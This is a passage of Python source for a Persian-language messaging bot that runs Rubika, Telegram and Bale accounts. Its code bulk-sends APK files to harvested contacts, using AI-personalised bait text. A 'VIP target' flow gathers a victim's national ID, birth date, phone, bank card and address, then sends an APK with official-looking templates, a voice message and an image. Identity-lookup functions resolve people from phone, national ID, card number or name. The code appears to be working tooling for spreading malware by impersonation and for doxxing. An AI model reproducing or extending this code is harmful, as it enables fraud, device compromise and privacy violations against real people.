                chat_id, msg_id,
                f"{SEP}\n📤 **ارسال APK — گام ۱ از ۳**\n{SEP}\n\n"
                f"🎯 پلتفرم: **{_trx290_platform_label(platform, lang)}**\n"
                f"📱 اکانت: `#{aid}`\n\n"
                "لینک مستقیم پست APK را بفرست (نه لینک دعوت):",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # ── انتخاب مخاطب: همه یا چک‌باکس یا دستی ──
        if data_s == "trx290.apksend.all":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_recipients":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            aid = int(s["account_id"]); platform = s["platform"]; apk_id = int(s["apk_id"])
            peers = await _trx290_get_contacts(uid, aid, platform, limit=150)
            if not peers:
                _trx290_state_pop(uid)
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مخاطبی پیدا نشد.",
                                                 trx.ai_advanced_menu(lang, uid))
            # پرسیدن AI
            _trx290_state_set(uid, "trx290_apksend_ai_choice",
                               account_id=aid, platform=platform,
                               apk_id=apk_id, peers=peers)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🤖 **استفاده از AI؟**\n{SEP}\n\n"
                f"🎯 {len(peers)} مخاطب هدف\n\n"
                "آیا متن پایه توسط AI برای هر مخاطب کمی بازنویسی شود؟",
                _trx290_IKB([
                    [("🤖 بله، بازنویسی کن", "trx290.apksend.ai.yes", "primary")],
                    [("🚫 نه، بدون متن", "trx290.apksend.ai.no", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        if data_s == "trx290.apksend.tick":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_recipients":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            aid = int(s["account_id"]); platform = s["platform"]; apk_id = int(s["apk_id"])
            batch_id = _trx290_gen_batch_id(uid)
            text, kb = await _trx290_build_contacts_page(uid, aid, platform, batch_id, page=0)
            _trx290_state_set(uid, "trx290_apksend_tick",
                               account_id=aid, platform=platform,
                               apk_id=apk_id, batch_id=batch_id)
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s.startswith("trx290.bulk.page:"):
            parts = data_s.split(":")
            if len(parts) < 3:
                return
            batch_id = parts[1]
            try:
                page = int(parts[2])
            except Exception:
                page = 0
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), batch_id))
            if not cache:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ صفحه منقضی.",
                                                 trx.ai_advanced_menu(lang, uid))
            text, kb = await _trx290_build_contacts_page(
                uid, cache["aid"], cache["platform"], batch_id, page,
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s.startswith("trx290.bulk.tick:"):
            peer = data_s.split(":", 1)[1]
            s = _trx290_state_get(uid)
            if not s or s.get("state") not in ("trx290_apksend_tick", "trx290_bulk_tick"):
                return
            batch_id = s.get("batch_id")
            # toggle
            try:
                row = _db().fetchone(
                    "SELECT selected FROM trx290_bulk_tick "
                    "WHERE user_id=? AND batch_id=? AND peer_id=?",
                    (int(uid), str(batch_id), str(peer)),
                )
                cur = int(row["selected"] or 0) if row else 0
                _trx290_bulk_set_selected(uid, batch_id, peer, 0 if cur else 1)
            except Exception:
                pass
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), str(batch_id))) or {}
            text, kb = await _trx290_build_contacts_page(
                uid, cache.get("aid", 0), cache.get("platform", "rubika"),
                batch_id, page=0,
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s == "trx290.bulk.selectall":
            s = _trx290_state_get(uid)
            if not s:
                return
            batch_id = s.get("batch_id")
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), str(batch_id))) or {}
            for peer in cache.get("contacts", []):
                _trx290_bulk_set_selected(uid, batch_id, peer, 1)
            text, kb = await _trx290_build_contacts_page(
                uid, cache.get("aid", 0), cache.get("platform", "rubika"),
                batch_id, page=0,
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s == "trx290.bulk.deselectall":
            s = _trx290_state_get(uid)
            if not s:
                return
            batch_id = s.get("batch_id")
            _trx290_bulk_clear_batch(uid, batch_id)
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), str(batch_id))) or {}
            text, kb = await _trx290_build_contacts_page(
                uid, cache.get("aid", 0), cache.get("platform", "rubika"),
                batch_id, page=0,
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s == "trx290.bulk.continue":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_tick":
                return
            batch_id = s.get("batch_id")
            selected = _trx290_bulk_get_selected(uid, batch_id)
            if not selected:
                return await _trx290_safe_edit(chat_id, msg_id,
                                                 "❌ هیچ مخاطبی انتخاب نشده.",
                                                 trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_apksend_ai_choice",
                               account_id=int(s["account_id"]),
                               platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]),
                               peers=selected)
            _trx290_bulk_clear_batch(uid, batch_id)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🤖 **استفاده از AI؟**\n{SEP}\n\n"
                f"🎯 {len(selected)} مخاطب انتخاب شد.\n\n"
                "آیا متن پایه توسط AI بازنویسی شود؟",
                _trx290_IKB([
                    [("🤖 بله، بازنویسی کن", "trx290.apksend.ai.yes", "primary")],
                    [("🚫 نه، فقط APK", "trx290.apksend.ai.no", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        if data_s == "trx290.apksend.ai.yes":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_ai_choice":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_apksend_base_text",
                               account_id=int(s["account_id"]),
                               platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]),
                               peers=s["peers"], use_ai=True)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                "📝 **متن پایه**\n\nمتن پایه‌ای که AI برای هر نفر متفاوت می‌کند را بفرست:",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx290.apksend.ai.no":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_ai_choice":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            peers = s["peers"]
            aid = int(s["account_id"]); platform = s["platform"]; apk_id = int(s["apk_id"])
            _trx290_state_pop(uid)
            _trx290_create_task(_trx290_apksend_worker(
                uid, aid, platform, apk_id, peers,
                False, "", chat_id, lang,
            ))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"⏳ ارسال APK به **{len(peers)}** مخاطب شروع شد...",
                _trx290_IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )

        if data_s == "trx290.apksend.manual":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_recipients":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_apksend_manual_ids",
                               account_id=int(s["account_id"]),
                               platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                "📋 **آیدی دستی**\n\nآیدی‌ها را خط‌به‌خط بفرست (حداکثر ۱۵۰):",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # ═══════════════ BULK CONTACTS ═══════════════
        if data_s == "ai.bulk.contacts":
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📨 **پیام به مخاطبین**\n{SEP}\n\n"
                "پلتفرم را انتخاب کنید:",
                _trx290_platform_kb(lang, "trx290.bulk.plat", back="ai"),
            )

        if data_s.startswith("trx290.bulk.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.",
                                                 trx.ai_advanced_menu(lang, uid))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_trx290_platform_label(platform, lang)} را انتخاب کنید:",
                _trx290_account_kb(uid, lang, "trx290.bulk.acc", platform,
                                    back="ai.bulk.contacts"),
            )

        if data_s.startswith("trx290.bulk.acc:"):
            aid, platform = _trx290_parse_acc_platform(data_s)
            if aid is None:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.",
                                                 _trx290_platform_kb(lang, "trx290.bulk.plat", "ai.bulk.contacts"))
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (int(aid), int(uid)),
            )
            if not row:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ اکانت پیدا نشد.",
                                                 _trx290_platform_kb(lang, "trx290.bulk.plat", "ai.bulk.contacts"))
            batch_id = _trx290_gen_batch_id(uid)
            text, kb = await _trx290_build_contacts_page(uid, aid, platform, batch_id, page=0)
            _trx290_state_set(uid, "trx290_bulk_tick",
                               account_id=int(aid), platform=str(platform),
                               batch_id=batch_id)
            # دکمه‌های اضافی برای bulk
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        # ═══════════════ KWL menu ═══════════════
        if data_s == "trx290.kwl.start":
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n👁 **رصد کلمات کلیدی**\n{SEP}\n\n"
                "پلتفرم را انتخاب کنید:",
                _trx290_platform_kb(lang, "trx290.kwl.plat", back="ai"),
            )

        if data_s.startswith("trx290.kwl.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.",
                                                 trx.ai_advanced_menu(lang, uid))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_trx290_platform_label(platform, lang)} را انتخاب کنید:",
                _trx290_account_kb(uid, lang, "trx290.kwl.acc", platform,
                                    back="trx290.kwl.start"),
            )

        if data_s.startswith("trx290.kwl.acc:"):
            aid, platform = _trx290_parse_acc_platform(data_s)
            if aid is None:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.",
                                                 _trx290_platform_kb(lang, "trx290.kwl.plat", "ai"))
            _trx290_state_set(uid, "trx290_kwl_menu",
                               account_id=int(aid), platform=str(platform))
            keywords = _trx290_kwl_get_keywords(uid, aid, platform)
            enabled = _trx290_kwl_get_enabled(uid, aid, platform)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n👁 **رصد کلمات**\n{SEP}\n\n"
                f"📱 اکانت: `#{aid}`\n"
                f"🔊 وضعیت: **{'روشن' if enabled else 'خاموش'}**\n"
                f"📝 تعداد کلمات: **{len(keywords)}**",
                _trx290_IKB([
                    [("➕ افزودن کلمه", "trx290.kwl.add", "success")],
                    [("📋 لیست کلمات", "trx290.kwl.list", "primary")],
                    [("🔄 روشن/خاموش", "trx290.kwl.toggle", "primary")],
                    [("🗑 پاک کردن همه", "trx290.kwl.clear", "danger")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )

        if data_s == "trx290.kwl.add":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_kwl_menu":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_kwl_add",
                               account_id=int(s["account_id"]),
                               platform=str(s["platform"]))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                "📝 کلمه یا کلمات را خط‌به‌خط بفرست:",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx290.kwl.list":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_kwl_menu":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            keywords = _trx290_kwl_get_keywords(uid, s["account_id"], s["platform"])
            if not keywords:
                return await _trx290_safe_edit(chat_id, msg_id, "📋 لیست خالی است.",
                                                 _trx290_kwl_menu_kb(lang))
            lines = [f"{SEP}\n📋 کلمات کلیدی\n{SEP}\n"] + [f"• `{k}`" for k in keywords]
            return await _trx290_safe_edit(chat_id, msg_id, "\n".join(lines),
                                             _trx290_kwl_menu_kb(lang))

        if data_s == "trx290.kwl.toggle":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_kwl_menu":
                return
            cur = _trx290_kwl_get_enabled(uid, s["account_id"], s["platform"])
            _trx290_kwl_set_enabled(uid, s["account_id"], s["platform"], not cur)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"✅ وضعیت: **{'خاموش' if cur else 'روشن'}**",
                _trx290_IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )

        if data_s == "trx290.kwl.clear":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_kwl_menu":
                return
            _trx290_kwl_set_keywords(uid, s["account_id"], s["platform"], [])
            return await _trx290_safe_edit(
                chat_id, msg_id, "🗑 لیست پاک شد.",
                _trx290_IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )

        # ═══════════════ FUNNEL menu ═══════════════
        if data_s == "trx290.funnel.menu":
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🎯 **قیف فروش**\n{SEP}\n\n"
                "یکی از گزینه‌ها را انتخاب کنید:",
                _trx290_funnel_menu_kb(lang),
            )

        if data_s == "trx290.funnel.overview":
            text = await _trx290_funnel_overview(uid)
            return await _trx290_safe_edit(chat_id, msg_id, text,
                                             _trx290_funnel_menu_kb(lang))

        if data_s == "trx290.funnel.list":
            text = await _trx290_funnel_list(uid)
            return await _trx290_safe_edit(chat_id, msg_id, text,
                                             _trx290_funnel_menu_kb(lang))

    except Exception as e:
        _log_err(f"[TRX290] dispatch error [{data_s}]: {_mask(str(e))}\n"
                  f"{traceback.format_exc(limit=40)}")
        try:
            _trx290_state_pop(uid)
        except Exception:
            pass
        try:
            return await _bot().send(
                chat_id,
                "⚠️ خطای موقت. دوباره تلاش کن.",
                reply_markup=trx.main_menu(lang, uid),
            )
        except Exception:
            return None

    # fall back به dispatcher اصلی
    if callable(_TRX290_ORIG_DISPATCH):
        try:
            return await _TRX290_ORIG_DISPATCH(cb_id, uid, lang, u,
                                                chat_id, msg_id, data_s)
        except Exception as e:
            _log_err(f"[TRX290] fallback dispatch: {_mask(str(e))}")
            return None
    return None


# نصب dispatcher
try:
    trx.dispatch_cb = _trx290_dispatch_cb
    _log_info("[TRX290] dispatcher installed")
except Exception as e:
    _log_warn(f"[TRX290] dispatcher install failed: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════
#  26) متن و کیبورد تأیید VIP
# ═══════════════════════════════════════════════════════════════════

def _trx290_vip_confirm_text(ts: Dict[str, Any], lang: str) -> str:
    tpl_key = ts.get("template_key") or "abl"
    tpl = TRX290_VIP_TEMPLATES.get(tpl_key, {})
    return (
        f"{SEP}\n📋 **پیش‌نمایش تارگت VIP**\n{SEP}\n\n"
        f"🎯 پلتفرم: **{_trx290_platform_label(ts.get('platform'), lang)}**\n"
        f"📱 اکانت: `#{ts.get('aid')}`\n"
        f"👤 تارگت: `{ts.get('target_handle')}`\n"
        f"📛 نام: **{ts.get('target_name') or '—'}**\n"
        f"🆔 کد ملی: `{ts.get('target_national_id') or '—'}`\n"
        f"🎂 تاریخ تولد: `{ts.get('target_birth_date') or '—'}`\n"
        f"📞 تلفن: `{ts.get('target_phone') or '—'}`\n"
        f"💳 کارت: `{ts.get('target_card') or '—'}`\n"
        f"🏠 آدرس: `{ts.get('target_address') or '—'}`\n"
        f"📌 قالب: **{tpl.get('label', '—')}**\n"
        f"📷 عکس: **{'بله' if ts.get('needs_image') else 'خیر'}**\n"
        f"📦 APK: `{ts.get('apk_id') or '—'}`\n\n"
        f"{SEP2}\n"
        "با تأیید، ارسال انجام می‌شود:\n"
        "1️⃣ APK\n2️⃣ متن رسمی\n3️⃣ ویس\n4️⃣ (اختیاری) عکس"
    )


def _trx290_vip_confirm_kb() -> dict:
    return _trx290_IKB([
        [("✅ تأیید و ارسال", "trx290.vip.confirm", "success")],
        [("❌ لغو", "cancel", "danger")],
    ])


# ═══════════════════════════════════════════════════════════════════
#  27) ON_MSG PRE-HOOK — ورودی‌های متنی
# ═══════════════════════════════════════════════════════════════════

_TRX290_ORIG_ON_MSG = getattr(trx, "on_msg", None)


async def _trx290_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()

    if not uid or not chat_id:
        if callable(_TRX290_ORIG_ON_MSG):
            return await _TRX290_ORIG_ON_MSG(msg)
        return None

    # /start — پیام خوش‌آمد با بنر main_menu
    if txt.startswith("/start"):
        try:
            u = trx.ensure_user(
                uid,
                (msg.get("from") or {}).get("username", ""),
                (msg.get("from") or {}).get("first_name", ""),
            )
            lang = u["lang"] or "fa"
            # تلاش برای فرستادن بنر main_menu با عکس
            banner_row = None
            try:
                banner_row = _db().fetchone(
                    "SELECT * FROM banners WHERE slot='main_menu' "
                    "AND enabled=1 AND image_file_id!=''",
                )
            except Exception:
                banner_row = None
            welcome_text = trx.t(lang, "welcome")
            kb = trx.main_menu(lang, uid)
            if banner_row and banner_row["image_file_id"]:
                try:
                    await _bot().send_photo(
                        chat_id,
                        banner_row["image_file_id"],
                        caption=str(welcome_text)[:1000],
                        reply_markup=kb,
                    )
                    trx.log_event(uid, "START")
                    return
                except Exception:
                    pass
            # بدون بنر
            await _bot().send(chat_id, welcome_text, reply_markup=kb)
            trx.log_event(uid, "START")
            return
        except Exception as e:
            _log_err(f"[TRX290] /start failed: {_mask(str(e))}")
            try:
                await _bot().send(chat_id, "🦖 به TRX خوش آمدید",
                                   reply_markup=trx.main_menu("fa", uid))
            except Exception:
                pass
            return

    if not txt or txt.startswith("/"):
        if callable(_TRX290_ORIG_ON_MSG):
            return await _TRX290_ORIG_ON_MSG(msg)
        return None

    # ── state های افزودنی ──
    try:
        s = _trx290_state_get(uid)
        state_name = str(s.get("state") or "") if s else ""

        # ادمین: افزودن اکانت تلگرام استعلام
        if state_name == "trx290_idacc_telegram_phone":
            if not trx.is_admin(uid):
                _trx290_state_pop(uid)
                return
            phone = txt.strip()
            if not re.match(r"^\+?\d{8,15}$", phone):
                return await _bot().send(chat_id, "❌ فرمت شماره: `+98912xxxxxxx`")
            ok, info = await _trx290_idacc_tg_send_code(uid, phone)
            if not ok:
                _trx290_state_pop(uid)
                return await _bot().send(chat_id, f"❌ {_mask(str(info))[:300]}",
                                           reply_markup=_trx290_admin_identity_menu(get_lang(uid)))
            _trx290_state_set(uid, "trx290_idacc_telegram_otp")
            return await _bot().send(
                chat_id,
                "📨 کد ارسال شد. کد را وارد کنید:",
                reply_markup=_trx290_IKB([[("❌ لغو", "trx290.admin.idacc", "danger")]]),
            )

        if state_name == "trx290_idacc_telegram_otp":
            ok, info = await _trx290_idacc_tg_verify(uid, txt.strip())
            _trx290_state_pop(uid)
            if ok:
                return await _bot().send(
                    chat_id,
                    "✅ اکانت تلگرام استعلام ذخیره شد.",
                    reply_markup=_trx290_admin_identity_menu(get_lang(uid)),
                )
            return await _bot().send(chat_id, f"❌ {_mask(str(info))[:300]}",
                                       reply_markup=_trx290_admin_identity_menu(get_lang(uid)))

        # ادمین: افزودن اکانت بله استعلام
        if state_name == "trx290_idacc_bale_phone":
            if not trx.is_admin(uid):
                _trx290_state_pop(uid)
                return
            phone = txt.strip()
            if not re.match(r"^\+?\d{8,15}$", phone):
                return await _bot().send(chat_id, "❌ فرمت شماره: `+98912xxxxxxx`")
            ok, info = await _trx290_idacc_bale_send_code(uid, phone)
            if not ok:
                _trx290_state_pop(uid)
                return await _bot().send(chat_id, f"❌ {_mask(str(info))[:300]}",
                                           reply_markup=_trx290_admin_identity_menu(get_lang(uid)))
            _trx290_state_set(uid, "trx290_idacc_bale_otp")
            return await _bot().send(
                chat_id,
                "📨 کد ارسال شد. کد را بفرست:",
                reply_markup=_trx290_IKB([[("❌ لغو", "trx290.admin.idacc", "danger")]]),
            )

        if state_name == "trx290_idacc_bale_otp":
            ok, info = await _trx290_idacc_bale_verify(uid, txt.strip())
            _trx290_state_pop(uid)
            if ok:
                return await _bot().send(
                    chat_id,
                    "✅ اکانت بله استعلام ذخیره شد.",
                    reply_markup=_trx290_admin_identity_menu(get_lang(uid)),
                )
            return await _bot().send(chat_id, f"❌ {_mask(str(info))[:300]}",
                                       reply_markup=_trx290_admin_identity_menu(get_lang(uid)))

        # ── استعلام هویتی ──
        if state_name == "trx290_id_lookup_phone":
            _trx290_state_pop(uid)
            acc = _trx290_get_identity_account("telegram")
            if not acc:
                return await _bot().send(chat_id,
                    "❌ اکانت تلگرام استعلام تنظیم نشده. با ادمین تماس بگیر.",
                    reply_markup=trx.main_menu(get_lang(uid), uid))
            processing = await _bot().send(chat_id, "⏳ در حال استعلام...")
            try:
                result = await _trx290_lookup_phone_telegram(uid, acc["account_id"], txt.strip())
            except Exception as e:
                result = f"❌ خطا: {_mask(str(e))[:300]}"
            _trx290_id_log(uid, "phone", txt.strip(), "telegram",
                            acc["account_id"], "multi", result)
            try:
                pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                if pid:
                    await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
            except Exception:
                pass
            return await _bot().send(chat_id, result,
                                       reply_markup=trx.main_menu(get_lang(uid), uid))

        if state_name == "trx290_id_lookup_nid":
            _trx290_state_pop(uid)
            nid = _trx290_only_digits(txt)
            if len(nid) != 10:
                return await _bot().send(chat_id, "❌ کد ملی باید ۱۰ رقم باشد.")
            acc = _trx290_get_identity_account("telegram")
            if not acc:
                return await _bot().send(chat_id, "❌ اکانت استعلام تنظیم نشده.",
                                           reply_markup=trx.main_menu(get_lang(uid), uid))
            processing = await _bot().send(chat_id, "⏳ در حال استعلام...")
            try:
                result = await _trx290_lookup_national_id_telegram(uid, acc["account_id"], nid)
            except Exception as e:
                result = f"❌ خطا: {_mask(str(e))[:300]}"
            _trx290_id_log(uid, "national_id", nid, "telegram", acc["account_id"], "vision", result)
            try:
                pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                if pid:
                    await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
            except Exception:
                pass
            return await _bot().send(chat_id, result,
                                       reply_markup=trx.main_menu(get_lang(uid), uid))

        if state_name == "trx290_id_lookup_card":
            _trx290_state_pop(uid)
            card = _trx290_only_digits(txt)
            if len(card) != 16:
                return await _bot().send(chat_id, "❌ شماره کارت باید ۱۶ رقم باشد.")
            acc = _trx290_get_identity_account("telegram")
            if not acc:
                return await _bot().send(chat_id, "❌ اکانت استعلام تنظیم نشده.",
                                           reply_markup=trx.main_menu(get_lang(uid), uid))
            processing = await _bot().send(chat_id, "⏳ در حال استعلام...")
            try:
                result = await _trx290_lookup_card_telegram(uid, acc["account_id"], card)
            except Exception as e:
                result = f"❌ خطا: {_mask(str(e))[:300]}"
            _trx290_id_log(uid, "card", card, "telegram", acc["account_id"], "vision", result)
            try:
                pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                if pid:
                    await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
            except Exception:
                pass
            return await _bot().send(chat_id, result,
                                       reply_markup=trx.main_menu(get_lang(uid), uid))

        if state_name == "trx290_id_lookup_name":
            _trx290_state_pop(uid)
            name = txt.strip()
            if len(name) < 5:
                return await _bot().send(chat_id, "❌ نام کامل را وارد کنید.")
            acc = _trx290_get_identity_account("telegram")
            if not acc:
                return await _bot().send(chat_id, "❌ اکانت استعلام تنظیم نشده.",
                                           reply_markup=trx.main_menu(get_lang(uid), uid))
            processing = await _bot().send(chat_id, "⏳ در حال استعلام...")
            try:
                result = await _trx290_lookup_fullname_telegram(uid, acc["account_id"], name)
            except Exception as e:
                result = f"❌ خطا: {_mask(str(e))[:300]}"
            _trx290_id_log(uid, "full_name", name, "telegram", acc["account_id"], "melidb", result)
            try:
                pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                if pid:
                    await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
            except Exception:
                pass
            return await _bot().send(chat_id, result,
                                       reply_markup=trx.main_menu(get_lang(uid), uid))

        if state_name == "trx290_id_lookup_c2s":
            _trx290_state_pop(uid)
            card = _trx290_only_digits(txt)
            if len(card) != 16:
                return await _bot().send(chat_id, "❌ شماره کارت باید ۱۶ رقم باشد.")
            acc = _trx290_get_identity_account("bale")
            if not acc:
                return await _bot().send(chat_id, "❌ اکانت بله استعلام تنظیم نشده.",
                                           reply_markup=trx.main_menu(get_lang(uid), uid))
            processing = await _bot().send(chat_id, "⏳ در حال استعلام...")
            try:
                result = await _trx290_lookup_card_to_sheba_bale(uid, acc["account_id"], card)
            except Exception as e:
                result = f"❌ خطا: {_mask(str(e))[:300]}"
            _trx290_id_log(uid, "card_to_sheba", card, "bale", acc["account_id"], "cardinfo", result)
            try:
                pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                if pid:
                    await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
            except Exception:
                pass
            return await _bot().send(chat_id, result,
                                       reply_markup=trx.main_menu(get_lang(uid), uid))

        # ═══════════════ VIP — ورودی‌های مرحله‌ای ═══════════════
        ts = _trx290_get_target_state(uid)
        if ts and ts.get("stage") == "awaiting_target":
            ts["target_handle"] = txt.strip()
            ts["target_peer"] = txt.strip()
            ts["stage"] = "awaiting_info"
            _TRX290_TARGET_STATE[int(uid)] = ts
            return await _bot().send(
                chat_id,
                f"{SEP}\n🎯 **اطلاعات هویتی — گام ۴**\n{SEP}\n\n"
                "اطلاعات هویتی مخاطب را بفرست (خط‌به‌خط):\n\n"
                "نام و نام خانوادگی\n"
                "کد ملی\n"
                "تاریخ تولد\n"
                "شماره تماس\n"
                "شماره کارت\n"
                "آدرس\n"
                "(هر موردی که نداری بنویس «-»)",
                reply_markup=_trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if ts and ts.get("stage") == "awaiting_info":
            lines = [x.strip() for x in txt.splitlines() if x.strip()]
            # مقادیر را به ترتیب پر می‌کنیم
            keys = ["target_name", "target_national_id", "target_birth_date",
                    "target_phone", "target_card", "target_address"]
            for i, key in enumerate(keys):
                if i < len(lines):
                    v = lines[i]
                    if v and v != "-":
                        ts[key] = v
            # هر خط اضافی → extra_info
            if len(lines) > len(keys):
                ts["extra_info"] = " | ".join(lines[len(keys):])[:800]
            ts["stage"] = "awaiting_apk"
            _TRX290_TARGET_STATE[int(uid)] = ts
            return await _bot().send(
                chat_id,
                f"{SEP}\n📦 **APK — گام ۵**\n{SEP}\n\n"
                "لینک مستقیم پست APK را بفرست (نه لینک دعوت):",
                reply_markup=_trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if ts and ts.get("stage") == "awaiting_apk":
            # اعتبارسنجی لینک
            aid = int(ts.get("aid") or 0)
            platform = str(ts.get("platform") or "")
            link_value = txt.strip()
            try:
                ok, reason, _mid, _hint = trx._trx01_validate_apk_link(platform, link_value)
            except Exception as e:
                ok, reason = False, f"خطا در اعتبارسنجی: {type(e).__name__}"
            if not ok:
                return await _bot().send(chat_id, f"❌ {reason}")
            processing = await _bot().send(chat_id, "⏳ لینک دریافت شد؛ در حال بررسی پیام APK...")
            try:
                ok_save, info, row = await asyncio.wait_for(
                    trx._trx660_save_apk_link(uid, aid, platform, link_value),
                    timeout=35.0,
                )
            except asyncio.TimeoutError:
                ok_save, info, row = False, "بررسی پیام APK بیش از ۳۵ ثانیه طول کشید.", None
            except Exception as e:
                ok_save, info, row = False, str(e), None
            if not ok_save or not row:
                return await _bot().send(chat_id, f"❌ ذخیره APK: {str(info)[:300]}")
            ts["apk_id"] = int(row.get("apk_id") or row.get("id") or 0)
            if ts["apk_id"] <= 0:
                return await _bot().send(chat_id, "❌ شناسه APK معتبر برنگشت؛ لینک را دوباره ثبت کن.")
            ts["stage"] = "awaiting_template"
            _TRX290_TARGET_STATE[int(uid)] = ts
            return await _bot().send(
                chat_id,
                f"{SEP}\n🎭 **قالب — گام ۶**\n{SEP}\n\n"
                "یکی از ۱۱ قالب رسمی را انتخاب کن:",
                reply_markup=_trx290_vip_template_kb(get_lang(uid)),
            )

        if ts and ts.get("stage") == "awaiting_image_link":
            # اینجا خط باید یک لینک APK باشد ولی برای عکس
            try:
                # اعتبارسنجی ساده
                url = txt.strip()
                if not url.startswith(("http://", "https://")):
                    return await _bot().send(chat_id, "❌ لینک معتبر نیست.")
                # ذخیره به عنوان منبع عکس (بدون بررسی محتوای عکس)
                ts["image_source_peer"] = url
                ts["image_source_message_id"] = "0"
                ts["stage"] = "confirm"
                _TRX290_TARGET_STATE[int(uid)] = ts
                return await _bot().send(
                    chat_id,
                    _trx290_vip_confirm_text(ts, get_lang(uid)),
                    reply_markup=_trx290_vip_confirm_kb(),
                )
            except Exception as e:
                return await _bot().send(chat_id, f"❌ {_mask(str(e))[:200]}")

        # ── KWL افزودن کلمه ──
        if state_name == "trx290_kwl_add":
            words = [x.strip() for x in txt.splitlines() if x.strip()]
            if not words:
                return await _bot().send(chat_id, "❌ کلمه‌ای وارد نشد.")
            existing = _trx290_kwl_get_keywords(uid, s["account_id"], s["platform"])
            merged = list(dict.fromkeys(existing + words))
